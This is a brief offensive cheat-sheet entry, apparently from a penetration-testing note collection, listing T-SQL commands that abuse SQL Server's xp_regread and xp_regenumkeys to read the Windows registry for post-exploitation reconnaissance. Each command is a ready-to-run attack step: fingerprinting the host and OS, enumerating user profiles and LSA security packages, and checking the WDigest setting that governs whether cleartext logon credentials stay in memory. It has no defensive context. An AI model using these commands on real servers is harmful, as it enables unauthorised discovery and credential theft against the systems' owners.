Use for system fingerprinting, secrets, creds, and environment discovery via xp_reg
Examples
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ActiveComputerName','ComputerName';
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\Lsa','Security Packages';
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion','ProductName';
EXEC master..xp_regenumkeys 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ProfileList';
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest','UseLogonCredential';